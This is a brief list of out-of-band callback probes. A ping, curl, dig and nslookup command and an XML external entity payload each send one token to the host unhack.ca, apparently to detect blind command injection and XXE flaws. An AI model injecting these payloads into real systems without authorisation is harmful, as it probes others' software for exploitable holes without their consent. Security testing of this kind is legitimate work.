$ ping -c1 -p 00f07bddc887c3dfb18b941fd3971200 unhack.ca
$ curl http://unhack.ca/p/f07bddc887c3dfb18b941fd39712
$ dig f07bddc887c3dfb18b941fd39712 @unhack.ca
$ dig f07bddc887c3dfb18b941fd39712.ns.unhack.ca
C:\> nslookup f07bddc887c3dfb18b941fd39712 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/f07bddc887c3dfb18b941fd39712">]> <foo>&xxe;</foo>